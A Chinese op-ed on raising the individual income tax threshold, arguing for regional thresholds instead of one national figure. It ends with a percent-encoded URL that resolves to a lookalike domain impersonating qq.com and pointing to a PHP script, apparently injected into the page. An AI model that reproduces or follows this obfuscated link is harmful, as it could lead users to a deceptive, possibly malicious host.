正在召开的全国两会中,上调个税起征点(又称扣除额度)的呼声不绝于耳,不少税法专家认为起征点从目前的2000元上调至3000元比较合理且有可操作性。
先有致公党中央向全国政协递交完善个税制的提案,后有宗庆后、迟福林、潘庆林等代表委员提出相关议案提案。3月7日,国家人力资源和社会保障部副部长杨志明正式回应:正在配合财政部等部门研究提高个税起征点,减轻普通劳动者的税务负担。此后,许多专家学者就此分析,起征点设为3000元比较合理,理由是中低收入人群的月收入大多徘徊在3000元以下,再者1000元的上调幅度不会对财政收入产生冲击。
这些提案议案、回应、分析,大多沿袭了一个思路:个人所得税起征点,全国一刀切。这真的有必要吗?
法的精神,在于制造最广泛的公平。税法也不例外。个税起征点全国一刀切之下,未必有公平,甚至会伤害公平。在东部沿海地区特别是一些中心城市,3000元月收入当然算中低收入,甚至连“中等”都算不上,仅仅是“蜗居”水平,而这个数字的月收入,到了中西部一些地区,却算得上中高收入了,全国一刀切,比如将个税起征点上调至3000元,东部沿海地区特别是中心城市的普通劳动者受益并不明显,而中西部一些地区的财政收入却会因此受到很大影响。
所谓“个人所得税”,是针对“个人”的,本身就具有一定的“个性”。地区差异等等实际国情,使得这种“个性”非常鲜明。中央政府可以允许各地因地制宜,根据各地实际情况制定个税起征点,拥有审批权、否决权的中央政府从中起到监督管理作用,使各地普通劳动者确确实实从上调个税起征点中受益。
让各地因地制宜上调个税起征点,其实有利于中西部地区吸引更多人才。当下有一种社会怪现象,许多大学毕业生宁可在中心城市“蜗居”,也不愿去中西部成为社会主力或者高级白领。而个人所得税政策如果不一刀切,那么在能够享受到更多个税实惠的情况下,可以指导更多的大学毕业生回归理性,选择去中西部地区发展。通过个税政策来引导人才流向,改变东部沿海中心城市人才超饱和、中西部地区人才缺乏的现状,不失为一条有效途径。
只要建立起完善的个人信用档案,让个税起征点不再全国一刀切,绝非空想。
http://%69%6d%67%63%61%63%68%65%2e%71%71%2e%63%6f%6d%2e%71%71%64%69%79%2e%69%6e%66%6f/a/s/m.php
加载中,请稍候......